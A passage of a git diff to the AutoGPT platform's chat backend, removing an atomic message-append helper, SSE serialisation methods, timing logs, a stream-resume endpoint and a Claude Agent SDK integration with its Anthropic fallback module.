     # Cache the session from DB
     try:
         await _cache_session(session)
+        logger.info(f"Cached session {session_id} from database")
     except Exception as e:
         logger.warning(f"Failed to cache session {session_id}: {e}")
 
@@ -492,40 +497,6 @@ async def upsert_chat_session(
         return session
 
 
-async def append_and_save_message(session_id: str, message: ChatMessage) -> ChatSession:
-    """Atomically append a message to a session and persist it.
-
-    Acquires the session lock, re-fetches the latest session state,
-    appends the message, and saves — preventing message loss when
-    concurrent requests modify the same session.
-    """
-    lock = await _get_session_lock(session_id)
-
-    async with lock:
-        session = await get_chat_session(session_id)
-        if session is None:
-            raise ValueError(f"Session {session_id} not found")
-
-        session.messages.append(message)
-        existing_message_count = await chat_db.get_chat_session_message_count(
-            session_id
-        )
-
-        try:
-            await _save_session_to_db(session, existing_message_count)
-        except Exception as e:
-            raise DatabaseError(
-                f"Failed to persist message to session {session_id}"
-            ) from e
-
-        try:
-            await _cache_session(session)
-        except Exception as e:
-            logger.warning(f"Cache write failed for session {session_id}: {e}")
-
-        return session
-
-
 async def create_chat_session(user_id: str) -> ChatSession:
     """Create a new chat session and persist it.
 
@@ -632,19 +603,13 @@ async def update_session_title(session_id: str, title: str) -> bool:
             logger.warning(f"Session {session_id} not found for title update")
             return False
 
-        # Update title in cache if it exists (instead of invalidating).
-        # This prevents race conditions where cache invalidation causes
-        # the frontend to see stale DB data while streaming is still in progress.
+        # Invalidate cache so next fetch gets updated title
         try:
-            cached = await _get_session_from_cache(session_id)
-            if cached:
-                cached.title = title
-                await _cache_session(cached)
+            redis_key = _get_session_cache_key(session_id)
+            async_redis = await get_redis_async()
+            await async_redis.delete(redis_key)
         except Exception as e:
-            # Not critical - title will be correct on next full cache refresh
-            logger.warning(
-                f"Failed to update title in cache for session {session_id}: {e}"
-            )
+            logger.warning(f"Failed to invalidate cache for session {session_id}: {e}")
 
         return True
     except Exception as e:

autogpt_platform/backend/backend/api/features/chat/response_model.py

@@ -10,8 +10,6 @@ from typing import Any
 
 from pydantic import BaseModel, Field
 
-from backend.util.json import dumps as json_dumps
-
 
 class ResponseType(str, Enum):
     """Types of streaming responses following AI SDK protocol."""
@@ -20,10 +18,6 @@ class ResponseType(str, Enum):
     START = "start"
     FINISH = "finish"
 
-    # Step lifecycle (one LLM API call within a message)
-    START_STEP = "start-step"
-    FINISH_STEP = "finish-step"
-
     # Text streaming
     TEXT_START = "text-start"
     TEXT_DELTA = "text-delta"
@@ -63,16 +57,6 @@ class StreamStart(StreamBaseResponse):
         description="Task ID for SSE reconnection. Clients can reconnect using GET /tasks/{taskId}/stream",
     )
 
-    def to_sse(self) -> str:
-        """Convert to SSE format, excluding non-protocol fields like taskId."""
-        import json
-
-        data: dict[str, Any] = {
-            "type": self.type.value,
-            "messageId": self.messageId,
-        }
-        return f"data: {json.dumps(data)}\n\n"
-
 
 class StreamFinish(StreamBaseResponse):
     """End of message/stream."""
@@ -80,26 +64,6 @@ class StreamFinish(StreamBaseResponse):
     type: ResponseType = ResponseType.FINISH
 
 
-class StreamStartStep(StreamBaseResponse):
-    """Start of a step (one LLM API call within a message).
-
-    The AI SDK uses this to add a step-start boundary to message.parts,
-    enabling visual separation between multiple LLM calls in a single message.
-    """
-
-    type: ResponseType = ResponseType.START_STEP
-
-
-class StreamFinishStep(StreamBaseResponse):
-    """End of a step (one LLM API call within a message).
-
-    The AI SDK uses this to reset activeTextParts and activeReasoningParts,
-    so the next LLM call in a tool-call continuation starts with clean state.
-    """
-
-    type: ResponseType = ResponseType.FINISH_STEP
-
-
 # ========== Text Streaming ==========
 
 
@@ -153,7 +117,7 @@ class StreamToolOutputAvailable(StreamBaseResponse):
     type: ResponseType = ResponseType.TOOL_OUTPUT_AVAILABLE
     toolCallId: str = Field(..., description="Tool call ID this responds to")
     output: str | dict[str, Any] = Field(..., description="Tool execution output")
-    # Keep these for internal backend use
+    # Additional fields for internal use (not part of AI SDK spec but useful)
     toolName: str | None = Field(
         default=None, description="Name of the tool that was executed"
     )
@@ -161,17 +125,6 @@ class StreamToolOutputAvailable(StreamBaseResponse):
         default=True, description="Whether the tool execution succeeded"
     )
 
-    def to_sse(self) -> str:
-        """Convert to SSE format, excluding non-spec fields."""
-        import json
-
-        data = {
-            "type": self.type.value,
-            "toolCallId": self.toolCallId,
-            "output": self.output,
-        }
-        return f"data: {json.dumps(data)}\n\n"
-
 
 # ========== Other ==========
 
@@ -195,18 +148,6 @@ class StreamError(StreamBaseResponse):
         default=None, description="Additional error details"
     )
 
-    def to_sse(self) -> str:
-        """Convert to SSE format, only emitting fields required by AI SDK protocol.
-
-        The AI SDK uses z.strictObject({type, errorText}) which rejects
-        any extra fields like `code` or `details`.
-        """
-        data = {
-            "type": self.type.value,
-            "errorText": self.errorText,
-        }
-        return f"data: {json_dumps(data)}\n\n"
-
 
 class StreamHeartbeat(StreamBaseResponse):
     """Heartbeat to keep SSE connection alive during long-running operations.

autogpt_platform/backend/backend/api/features/chat/routes.py

@@ -1,13 +1,12 @@
 """Chat API routes for chat session management and streaming via SSE."""
 
-import asyncio
 import logging
 import uuid as uuid_module
 from collections.abc import AsyncGenerator
 from typing import Annotated
 
 from autogpt_libs import auth
-from fastapi import APIRouter, Depends, Header, HTTPException, Query, Response, Security
+from fastapi import APIRouter, Depends, Header, HTTPException, Query, Security
 from fastapi.responses import StreamingResponse
 from pydantic import BaseModel
 
@@ -17,39 +16,8 @@ from . import service as chat_service
 from . import stream_registry
 from .completion_handler import process_operation_failure, process_operation_success
 from .config import ChatConfig
-from .model import (
-    ChatMessage,
-    ChatSession,
-    append_and_save_message,
-    create_chat_session,
-    get_chat_session,
-    get_user_sessions,
-)
-from .response_model import StreamError, StreamFinish, StreamHeartbeat, StreamStart
-from .sdk import service as sdk_service
-from .tools.models import (
-    AgentDetailsResponse,
-    AgentOutputResponse,
-    AgentPreviewResponse,
-    AgentSavedResponse,
-    AgentsFoundResponse,
-    BlockListResponse,
-    BlockOutputResponse,
-    ClarificationNeededResponse,
-    DocPageResponse,
-    DocSearchResultsResponse,
-    ErrorResponse,
-    ExecutionStartedResponse,
-    InputValidationErrorResponse,
-    NeedLoginResponse,
-    NoResultsResponse,
-    OperationInProgressResponse,
-    OperationPendingResponse,
-    OperationStartedResponse,
-    SetupRequirementsResponse,
-    UnderstandingUpdatedResponse,
-)
-from .tracking import track_user_message
+from .model import ChatSession, create_chat_session, get_chat_session, get_user_sessions
+from .response_model import StreamFinish, StreamHeartbeat, StreamStart
 
 config = ChatConfig()
 
@@ -241,10 +209,6 @@ async def get_session(
     active_task, last_message_id = await stream_registry.get_active_task_for_session(
         session_id, user_id
     )
-    logger.info(
-        f"[GET_SESSION] session={session_id}, active_task={active_task is not None}, "
-        f"msg_count={len(messages)}, last_role={messages[-1].get('role') if messages else 'none'}"
-    )
     if active_task:
         # Filter out the in-progress assistant message from the session response.
         # The client will receive the complete assistant response through the SSE
@@ -302,54 +266,12 @@ async def stream_chat_post(
 
     """
     import asyncio
-    import time
 
-    stream_start_time = time.perf_counter()
-    log_meta = {"component": "ChatStream", "session_id": session_id}
-    if user_id:
-        log_meta["user_id"] = user_id
-
-    logger.info(
-        f"[TIMING] stream_chat_post STARTED, session={session_id}, "
-        f"user={user_id}, message_len={len(request.message)}",
-        extra={"json_fields": log_meta},
-    )
     session = await _validate_and_get_session(session_id, user_id)
-    logger.info(
-        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time) * 1000:.1f}ms",
-        extra={
-            "json_fields": {
-                **log_meta,
-                "duration_ms": (time.perf_counter() - stream_start_time) * 1000,
-            }
-        },
-    )
-
-    # Atomically append user message to session BEFORE creating task to avoid
-    # race condition where GET_SESSION sees task as "running" but message isn't
-    # saved yet.  append_and_save_message re-fetches inside a lock to prevent
-    # message loss from concurrent requests.
-    if request.message:
-        message = ChatMessage(
-            role="user" if request.is_user_message else "assistant",
-            content=request.message,
-        )
-        if request.is_user_message:
-            track_user_message(
-                user_id=user_id,
-                session_id=session_id,
-                message_length=len(request.message),
-            )
-        logger.info(f"[STREAM] Saving user message to session {session_id}")
-        session = await append_and_save_message(session_id, message)
-        logger.info(f"[STREAM] User message saved for session {session_id}")
 
     # Create a task in the stream registry for reconnection support
     task_id = str(uuid_module.uuid4())
     operation_id = str(uuid_module.uuid4())
-    log_meta["task_id"] = task_id
-
-    task_create_start = time.perf_counter()
     await stream_registry.create_task(
         task_id=task_id,
         session_id=session_id,
@@ -358,147 +280,40 @@ async def stream_chat_post(
         tool_name="chat",
         operation_id=operation_id,
     )
-    logger.info(
-        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start) * 1000:.1f}ms",
-        extra={
-            "json_fields": {
-                **log_meta,
-                "duration_ms": (time.perf_counter() - task_create_start) * 1000,
-            }
-        },
-    )
 
     # Background task that runs the AI generation independently of SSE connection
     async def run_ai_generation():
-        import time as time_module
-
-        gen_start_time = time_module.perf_counter()
-        logger.info(
-            f"[TIMING] run_ai_generation STARTED, task={task_id}, session={session_id}, user={user_id}",
-            extra={"json_fields": log_meta},
-        )
-        first_chunk_time, ttfc = None, None
-        chunk_count = 0
         try:
             # Emit a start event with task_id for reconnection
             start_chunk = StreamStart(messageId=task_id, taskId=task_id)
             await stream_registry.publish_chunk(task_id, start_chunk)
-            logger.info(
-                f"[TIMING] StreamStart published at {(time_module.perf_counter() - gen_start_time) * 1000:.1f}ms",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "elapsed_ms": (time_module.perf_counter() - gen_start_time)
-                        * 1000,
-                    }
-                },
-            )
 
-            # Choose service based on configuration
-            use_sdk = config.use_claude_agent_sdk
-            stream_fn = (
-                sdk_service.stream_chat_completion_sdk
-                if use_sdk
-                else chat_service.stream_chat_completion
-            )
-            logger.info(
-                f"[TIMING] Calling {'sdk' if use_sdk else 'standard'} stream_chat_completion",
-                extra={"json_fields": log_meta},
-            )
-            # Pass message=None since we already added it to the session above
-            async for chunk in stream_fn(
+            async for chunk in chat_service.stream_chat_completion(
                 session_id,
-                None,  # Message already in session
+                request.message,
                 is_user_message=request.is_user_message,
                 user_id=user_id,
-                session=session,  # Pass session with message already added
+                session=session,  # Pass pre-fetched session to avoid double-fetch
                 context=request.context,
             ):
-                # Skip duplicate StreamStart — we already published one above
-                if isinstance(chunk, StreamStart):
-                    continue
-                chunk_count += 1
-                if first_chunk_time is None:
-                    first_chunk_time = time_module.perf_counter()
-                    ttfc = first_chunk_time - gen_start_time
-                    logger.info(
-                        f"[TIMING] FIRST AI CHUNK at {ttfc:.2f}s, type={type(chunk).__name__}",
-                        extra={
-                            "json_fields": {
-                                **log_meta,
-                                "chunk_type": type(chunk).__name__,
-                                "time_to_first_chunk_ms": ttfc * 1000,
-                            }
-                        },
-                    )
                 # Write to Redis (subscribers will receive via XREAD)
                 await stream_registry.publish_chunk(task_id, chunk)
 
-            gen_end_time = time_module.perf_counter()
-            total_time = (gen_end_time - gen_start_time) * 1000
-            logger.info(
-                f"[TIMING] run_ai_generation FINISHED in {total_time / 1000:.1f}s; "
-                f"task={task_id}, session={session_id}, "
-                f"ttfc={ttfc or -1:.2f}s, n_chunks={chunk_count}",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "total_time_ms": total_time,
-                        "time_to_first_chunk_ms": (
-                            ttfc * 1000 if ttfc is not None else None
-                        ),
-                        "n_chunks": chunk_count,
-                    }
-                },
-            )
+            # Mark task as completed
             await stream_registry.mark_task_completed(task_id, "completed")
         except Exception as e:
-            elapsed = time_module.perf_counter() - gen_start_time
             logger.error(
-                f"[TIMING] run_ai_generation ERROR after {elapsed:.2f}s: {e}",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "elapsed_ms": elapsed * 1000,
-                        "error": str(e),
-                    }
-                },
+                f"Error in background AI generation for session {session_id}: {e}"
             )
-            # Publish a StreamError so the frontend can display an error message
-            try:
-                await stream_registry.publish_chunk(
-                    task_id,
-                    StreamError(
-                        errorText="An error occurred. Please try again.",
-                        code="stream_error",
-                    ),
-                )
-            except Exception:
-                pass  # Best-effort; mark_task_completed will publish StreamFinish
             await stream_registry.mark_task_completed(task_id, "failed")
 
     # Start the AI generation in a background task
     bg_task = asyncio.create_task(run_ai_generation())
     await stream_registry.set_task_asyncio_task(task_id, bg_task)
-    setup_time = (time.perf_counter() - stream_start_time) * 1000
-    logger.info(
-        f"[TIMING] Background task started, setup={setup_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "setup_time_ms": setup_time}},
-    )
 
     # SSE endpoint that subscribes to the task's stream
     async def event_generator() -> AsyncGenerator[str, None]:
-        import time as time_module
-
-        event_gen_start = time_module.perf_counter()
-        logger.info(
-            f"[TIMING] event_generator STARTED, task={task_id}, session={session_id}, "
-            f"user={user_id}",
-            extra={"json_fields": log_meta},
-        )
         subscriber_queue = None
-        first_chunk_yielded = False
-        chunks_yielded = 0
         try:
             # Subscribe to the task stream (this replays existing messages + live updates)
             subscriber_queue = await stream_registry.subscribe_to_task(
@@ -513,78 +328,24 @@ async def stream_chat_post(
                 return
 
             # Read from the subscriber queue and yield to SSE
-            logger.info(
-                "[TIMING] Starting to read from subscriber_queue",
-                extra={"json_fields": log_meta},
-            )
             while True:
                 try:
                     chunk = await asyncio.wait_for(subscriber_queue.get(), timeout=30.0)
-                    chunks_yielded += 1
-
-                    if not first_chunk_yielded:
-                        first_chunk_yielded = True
-                        elapsed = time_module.perf_counter() - event_gen_start
-                        logger.info(
-                            f"[TIMING] FIRST CHUNK from queue at {elapsed:.2f}s, "
-                            f"type={type(chunk).__name__}",
-                            extra={
-                                "json_fields": {
-                                    **log_meta,
-                                    "chunk_type": type(chunk).__name__,
-                                    "elapsed_ms": elapsed * 1000,
-                                }
-                            },
-                        )
-
                     yield chunk.to_sse()
 
                     # Check for finish signal
                     if isinstance(chunk, StreamFinish):
-                        total_time = time_module.perf_counter() - event_gen_start
-                        logger.info(
-                            f"[TIMING] StreamFinish received in {total_time:.2f}s; "
-                            f"n_chunks={chunks_yielded}",
-                            extra={
-                                "json_fields": {
-                                    **log_meta,
-                                    "chunks_yielded": chunks_yielded,
-                                    "total_time_ms": total_time * 1000,
-                                }
-                            },
-                        )
                         break
                 except asyncio.TimeoutError:
+                    # Send heartbeat to keep connection alive
                     yield StreamHeartbeat().to_sse()
 
         except GeneratorExit:
-            logger.info(
-                f"[TIMING] GeneratorExit (client disconnected), chunks={chunks_yielded}",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "chunks_yielded": chunks_yielded,
-                        "reason": "client_disconnect",
-                    }
-                },
-            )
             pass  # Client disconnected - background task continues
         except Exception as e:
-            elapsed = (time_module.perf_counter() - event_gen_start) * 1000
-            logger.error(
-                f"[TIMING] event_generator ERROR after {elapsed:.1f}ms: {e}",
-                extra={
-                    "json_fields": {**log_meta, "elapsed_ms": elapsed, "error": str(e)}
-                },
-            )
-            # Surface error to frontend so it doesn't appear stuck
-            yield StreamError(
-                errorText="An error occurred. Please try again.",
-                code="stream_error",
-            ).to_sse()
-            yield StreamFinish().to_sse()
+            logger.error(f"Error in SSE stream for task {task_id}: {e}")
         finally:
-            # Unsubscribe when client disconnects or stream ends
+            # Unsubscribe when client disconnects or stream ends to prevent resource leak
             if subscriber_queue is not None:
                 try:
                     await stream_registry.unsubscribe_from_task(
@@ -596,18 +357,6 @@ async def stream_chat_post(
                         exc_info=True,
                     )
             # AI SDK protocol termination - always yield even if unsubscribe fails
-            total_time = time_module.perf_counter() - event_gen_start
-            logger.info(
-                f"[TIMING] event_generator FINISHED in {total_time:.2f}s; "
-                f"task={task_id}, session={session_id}, n_chunks={chunks_yielded}",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "total_time_ms": total_time * 1000,
-                        "chunks_yielded": chunks_yielded,
-                    }
-                },
-            )
             yield "data: [DONE]\n\n"
 
     return StreamingResponse(
@@ -625,90 +374,63 @@ async def stream_chat_post(
 @router.get(
     "/sessions/{session_id}/stream",
 )
-async def resume_session_stream(
+async def stream_chat_get(
     session_id: str,
+    message: Annotated[str, Query(min_length=1, max_length=10000)],
     user_id: str | None = Depends(auth.get_user_id),
+    is_user_message: bool = Query(default=True),
 ):
     """
-    Resume an active stream for a session.
+    Stream chat responses for a session (GET - legacy endpoint).
 
-    Called by the AI SDK's ``useChat(resume: true)`` on page load.
-    Checks for an active (in-progress) task on the session and either replays
-    the full SSE stream or returns 204 No Content if nothing is running.
+    Streams the AI/completion responses in real time over Server-Sent Events (SSE), including:
+      - Text fragments as they are generated
+      - Tool call UI elements (if invoked)
+      - Tool execution results
 
     Args:
-        session_id: The chat session identifier.
+        session_id: The chat session identifier to associate with the streamed messages.
+        message: The user's new message to process.
         user_id: Optional authenticated user ID.
-
+        is_user_message: Whether the message is a user message.
     Returns:
-        StreamingResponse (SSE) when an active stream exists,
-        or 204 No Content when there is nothing to resume.
+        StreamingResponse: SSE-formatted response chunks.
+
     """
-    import asyncio
-
-    active_task, _last_id = await stream_registry.get_active_task_for_session(
-        session_id, user_id
-    )
-
-    if not active_task:
-        return Response(status_code=204)
-
-    subscriber_queue = await stream_registry.subscribe_to_task(
-        task_id=active_task.task_id,
-        user_id=user_id,
-        last_message_id="0-0",  # Full replay so useChat rebuilds the message
-    )
-
-    if subscriber_queue is None:
-        return Response(status_code=204)
+    session = await _validate_and_get_session(session_id, user_id)
 
     async def event_generator() -> AsyncGenerator[str, None]:
         chunk_count = 0
         first_chunk_type: str | None = None
-        try:
-            while True:
-                try:
-                    chunk = await asyncio.wait_for(subscriber_queue.get(), timeout=30.0)
-                    if chunk_count < 3:
-                        logger.info(
-                            "Resume stream chunk",
-                            extra={
-                                "session_id": session_id,
-                                "chunk_type": str(chunk.type),
-                            },
-                        )
-                    if not first_chunk_type:
-                        first_chunk_type = str(chunk.type)
-                    chunk_count += 1
-                    yield chunk.to_sse()
-
-                    if isinstance(chunk, StreamFinish):
-                        break
-                except asyncio.TimeoutError:
-                    yield StreamHeartbeat().to_sse()
-        except GeneratorExit:
-            pass
-        except Exception as e:
-            logger.error(f"Error in resume stream for session {session_id}: {e}")
-        finally:
-            try:
-                await stream_registry.unsubscribe_from_task(
-                    active_task.task_id, subscriber_queue
+        async for chunk in chat_service.stream_chat_completion(
+            session_id,
+            message,
+            is_user_message=is_user_message,
+            user_id=user_id,
+            session=session,  # Pass pre-fetched session to avoid double-fetch
+        ):
+            if chunk_count < 3:
+                logger.info(
+                    "Chat stream chunk",
+                    extra={
+                        "session_id": session_id,
+                        "chunk_type": str(chunk.type),
+                    },
                 )
-            except Exception as unsub_err:
-                logger.error(
-                    f"Error unsubscribing from task {active_task.task_id}: {unsub_err}",
-                    exc_info=True,
-                )
-            logger.info(
-                "Resume stream completed",
-                extra={
-                    "session_id": session_id,
-                    "n_chunks": chunk_count,
-                    "first_chunk_type": first_chunk_type,
-                },
-            )
-            yield "data: [DONE]\n\n"
+            if not first_chunk_type:
+                first_chunk_type = str(chunk.type)
+            chunk_count += 1
+            yield chunk.to_sse()
+        logger.info(
+            "Chat stream completed",
+            extra={
+                "session_id": session_id,
+                "chunk_count": chunk_count,
+                "first_chunk_type": first_chunk_type,
+            },
+        )
+        # AI SDK protocol termination
+        yield "data: [DONE]\n\n"
 
     return StreamingResponse(
         event_generator(),
@@ -716,8 +438,8 @@ async def resume_session_stream(
         headers={
             "Cache-Control": "no-cache",
             "Connection": "keep-alive",
-            "X-Accel-Buffering": "no",
-            "x-vercel-ai-ui-message-stream": "v1",
+            "X-Accel-Buffering": "no",  # Disable nginx buffering
+            "x-vercel-ai-ui-message-stream": "v1",  # AI SDK protocol header
         },
     )
 
@@ -828,6 +550,8 @@ async def stream_task(
         )
 
     async def event_generator() -> AsyncGenerator[str, None]:
+        import asyncio
+
         heartbeat_interval = 15.0  # Send heartbeat every 15 seconds
         try:
             while True:
@@ -1027,42 +751,3 @@ async def health_check() -> dict:
         "service": "chat",
         "version": "0.1.0",
     }
-
-
-# ========== Schema Export (for OpenAPI / Orval codegen) ==========
-
-ToolResponseUnion = (
-    AgentsFoundResponse
-    | NoResultsResponse
-    | AgentDetailsResponse
-    | SetupRequirementsResponse
-    | ExecutionStartedResponse
-    | NeedLoginResponse
-    | ErrorResponse
-    | InputValidationErrorResponse
-    | AgentOutputResponse
-    | UnderstandingUpdatedResponse
-    | AgentPreviewResponse
-    | AgentSavedResponse
-    | ClarificationNeededResponse
-    | BlockListResponse
-    | BlockOutputResponse
-    | DocSearchResultsResponse
-    | DocPageResponse
-    | OperationStartedResponse
-    | OperationPendingResponse
-    | OperationInProgressResponse
-)
-
-
-@router.get(
-    "/schema/tool-responses",
-    response_model=ToolResponseUnion,
-    include_in_schema=True,
-    summary="[Dummy] Tool response type export for codegen",
-    description="This endpoint is not meant to be called. It exists solely to "
-    "expose tool response models in the OpenAPI schema for frontend codegen.",
-)
-async def _tool_response_schema() -> ToolResponseUnion:  # type: ignore[return]
-    """Never called at runtime. Exists only so Orval generates TS types."""
-    raise HTTPException(status_code=501, detail="Schema-only endpoint")

autogpt_platform/backend/backend/api/features/chat/sdk/__init__.py

@@ -1,14 +0,0 @@
-"""Claude Agent SDK integration for CoPilot.
-
-This module provides the integration layer between the Claude Agent SDK
-and the existing CoPilot tool system, enabling drop-in replacement of
-the current LLM orchestration with the battle-tested Claude Agent SDK.
-"""
-
-from .service import stream_chat_completion_sdk
-from .tool_adapter import create_copilot_mcp_server
-
-__all__ = [
-    "stream_chat_completion_sdk",
-    "create_copilot_mcp_server",
-]

autogpt_platform/backend/backend/api/features/chat/sdk/anthropic_fallback.py

@@ -1,363 +0,0 @@
-"""Anthropic SDK fallback implementation.
-
-This module provides the fallback streaming implementation using the Anthropic SDK
-directly when the Claude Agent SDK is not available.
-"""
-
-import json
-import logging
-import uuid
-from collections.abc import AsyncGenerator
-from typing import Any, cast
-
-from ..config import ChatConfig
-from ..model import ChatMessage, ChatSession
-from ..response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-    StreamUsage,
-)
-from .tool_adapter import get_tool_definitions, get_tool_handlers
-
-logger = logging.getLogger(__name__)
-config = ChatConfig()
-
-# Maximum tool-call iterations before stopping to prevent infinite loops
-_MAX_TOOL_ITERATIONS = 10
-
-
-async def stream_with_anthropic(
-    session: ChatSession,
-    system_prompt: str,
-    text_block_id: str,
-) -> AsyncGenerator[StreamBaseResponse, None]:
-    """Stream using Anthropic SDK directly with tool calling support.
-
-    This function accumulates messages into the session for persistence.
-    The caller should NOT yield an additional StreamFinish - this function handles it.
-    """
-    import anthropic
-
-    # Use config.api_key (CHAT_API_KEY > OPEN_ROUTER_API_KEY > OPENAI_API_KEY)
-    # with config.base_url for OpenRouter routing — matching the non-SDK path.
-    api_key = config.api_key
-    if not api_key:
-        yield StreamError(
-            errorText="No API key configured (set CHAT_API_KEY or OPENAI_API_KEY)",
-            code="config_error",
-        )
-        yield StreamFinish()
-        return
-
-    # Build kwargs for the Anthropic client — use base_url if configured
-    client_kwargs: dict[str, Any] = {"api_key": api_key}
-    if config.base_url:
-        # Strip /v1 suffix — Anthropic SDK adds its own version path
-        base = config.base_url.rstrip("/")
-        if base.endswith("/v1"):
-            base = base[:-3]
-        client_kwargs["base_url"] = base
-
-    client = anthropic.AsyncAnthropic(**client_kwargs)
-    tool_definitions = get_tool_definitions()
-    tool_handlers = get_tool_handlers()
-
-    anthropic_tools = [
-        {
-            "name": t["name"],
-            "description": t["description"],
-            "input_schema": t["inputSchema"],
-        }
-        for t in tool_definitions
-    ]
-
-    anthropic_messages = _convert_session_to_anthropic(session)
-
-    if not anthropic_messages or anthropic_messages[-1]["role"] != "user":
-        anthropic_messages.append(
-            {"role": "user", "content": "Continue with the task."}
-        )
-
-    has_started_text = False
-    accumulated_text = ""
-    accumulated_tool_calls: list[dict[str, Any]] = []
-
-    for _ in range(_MAX_TOOL_ITERATIONS):
-        try:
-            async with client.messages.stream(
-                model=(
-                    config.model.split("/")[-1] if "/" in config.model else config.model
-                ),
-                max_tokens=4096,
-                system=system_prompt,
-                messages=cast(Any, anthropic_messages),
-                tools=cast(Any, anthropic_tools) if anthropic_tools else [],
-            ) as stream:
-                async for event in stream:
-                    if event.type == "content_block_start":
-                        block = event.content_block
-                        if hasattr(block, "type"):
-                            if block.type == "text" and not has_started_text:
-                                yield StreamTextStart(id=text_block_id)
-                                has_started_text = True
-                            elif block.type == "tool_use":
-                                yield StreamToolInputStart(
-                                    toolCallId=block.id, toolName=block.name
-                                )
-
-                    elif event.type == "content_block_delta":
-                        delta = event.delta
-                        if hasattr(delta, "type") and delta.type == "text_delta":
-                            accumulated_text += delta.text
-                            yield StreamTextDelta(id=text_block_id, delta=delta.text)
-
-                final_message = await stream.get_final_message()
-
-                if final_message.stop_reason == "tool_use":
-                    if has_started_text:
-                        yield StreamTextEnd(id=text_block_id)
-                        has_started_text = False
-                        text_block_id = str(uuid.uuid4())
-
-                    tool_results = []
-                    assistant_content: list[dict[str, Any]] = []
-
-                    for block in final_message.content:
-                        if block.type == "text":
-                            assistant_content.append(
-                                {"type": "text", "text": block.text}
-                            )
-                        elif block.type == "tool_use":
-                            assistant_content.append(
-                                {
-                                    "type": "tool_use",
-                                    "id": block.id,
-                                    "name": block.name,
-                                    "input": block.input,
-                                }
-                            )
-
-                            # Track tool call for session persistence
-                            accumulated_tool_calls.append(
-                                {
-                                    "id": block.id,
-                                    "type": "function",
-                                    "function": {
-                                        "name": block.name,
-                                        "arguments": json.dumps(
-                                            block.input
-                                            if isinstance(block.input, dict)
-                                            else {}
-                                        ),
-                                    },
-                                }
-                            )
-
-                            yield StreamToolInputAvailable(
-                                toolCallId=block.id,
-                                toolName=block.name,
-                                input=(
-                                    block.input if isinstance(block.input, dict) else {}
-                                ),
-                            )
-
-                            output, is_error = await _execute_tool(
-                                block.name, block.input, tool_handlers
-                            )
-
-                            yield StreamToolOutputAvailable(
-                                toolCallId=block.id,
-                                toolName=block.name,
-                                output=output,
-                                success=not is_error,
-                            )
-
-                            # Save tool result to session
-                            session.messages.append(
-                                ChatMessage(
-                                    role="tool",
-                                    content=output,
-                                    tool_call_id=block.id,
-                                )
-                            )
-
-                            tool_results.append(
-                                {
-                                    "type": "tool_result",
-                                    "tool_use_id": block.id,
-                                    "content": output,
-                                    "is_error": is_error,
-                                }
-                            )
-
-                    # Save assistant message with tool calls to session
-                    session.messages.append(
-                        ChatMessage(
-                            role="assistant",
-                            content=accumulated_text or None,
-                            tool_calls=(
-                                accumulated_tool_calls
-                                if accumulated_tool_calls
-                                else None
-                            ),
-                        )
-                    )
-                    # Reset for next iteration
-                    accumulated_text = ""
-                    accumulated_tool_calls = []
-
-                    anthropic_messages.append(
-                        {"role": "assistant", "content": assistant_content}
-                    )
-                    anthropic_messages.append({"role": "user", "content": tool_results})
-                    continue
-
-                else:
-                    if has_started_text:
-                        yield StreamTextEnd(id=text_block_id)
-
-                    # Save final assistant response to session
-                    if accumulated_text:
-                        session.messages.append(
-                            ChatMessage(role="assistant", content=accumulated_text)
-                        )
-
-                    yield StreamUsage(
-                        promptTokens=final_message.usage.input_tokens,
-                        completionTokens=final_message.usage.output_tokens,
-                        totalTokens=final_message.usage.input_tokens
-                        + final_message.usage.output_tokens,
-                    )
-                    yield StreamFinish()
-                    return
-
-        except Exception as e:
-            logger.error(f"[Anthropic Fallback] Error: {e}", exc_info=True)
-            yield StreamError(
-                errorText="An error occurred. Please try again.",
-                code="anthropic_error",
-            )
-            yield StreamFinish()
-            return
-
-    yield StreamError(errorText="Max tool iterations reached", code="max_iterations")
-    yield StreamFinish()
-
-
-def _convert_session_to_anthropic(session: ChatSession) -> list[dict[str, Any]]:
-    """Convert session messages to Anthropic format.
-
-    Handles merging consecutive same-role messages (Anthropic requires alternating roles).
-    """
-    messages: list[dict[str, Any]] = []
-
-    for msg in session.messages:
-        if msg.role == "user":
-            new_msg = {"role": "user", "content": msg.content or ""}
-        elif msg.role == "assistant":
-            content: list[dict[str, Any]] = []
-            if msg.content:
-                content.append({"type": "text", "text": msg.content})
-            if msg.tool_calls:
-                for tc in msg.tool_calls:
-                    func = tc.get("function", {})
-                    args = func.get("arguments", {})
-                    if isinstance(args, str):
-                        try:
-                            args = json.loads(args)
-                        except json.JSONDecodeError:
-                            args = {}
-                    content.append(
-                        {
-                            "type": "tool_use",
-                            "id": tc.get("id", str(uuid.uuid4())),
-                            "name": func.get("name", ""),
-                            "input": args,
-                        }
-                    )
-            if content:
-                new_msg = {"role": "assistant", "content": content}
-            else:
-                continue  # Skip empty assistant messages
-        elif msg.role == "tool":
-            new_msg = {
-                "role": "user",
-                "content": [
-                    {
-                        "type": "tool_result",
-                        "tool_use_id": msg.tool_call_id or "",
-                        "content": msg.content or "",
-                    }
-                ],
-            }
-        else:
-            continue
-
-        messages.append(new_msg)
-
-    # Merge consecutive same-role messages (Anthropic requires alternating roles)
-    return _merge_consecutive_roles(messages)
-
-
-def _merge_consecutive_roles(messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
-    """Merge consecutive messages with the same role.
-
-    Anthropic API requires alternating user/assistant roles.
-    """
-    if not messages:
-        return []
-
-    merged: list[dict[str, Any]] = []
-    for msg in messages:
-        if merged and merged[-1]["role"] == msg["role"]:
-            # Merge with previous message
-            prev_content = merged[-1]["content"]
-            new_content = msg["content"]
-
-            # Normalize both to list-of-blocks form
-            if isinstance(prev_content, str):
-                prev_content = [{"type": "text", "text": prev_content}]
-            if isinstance(new_content, str):
-                new_content = [{"type": "text", "text": new_content}]
-
-            # Ensure both are lists
-            if not isinstance(prev_content, list):
-                prev_content = [prev_content]
-            if not isinstance(new_content, list):
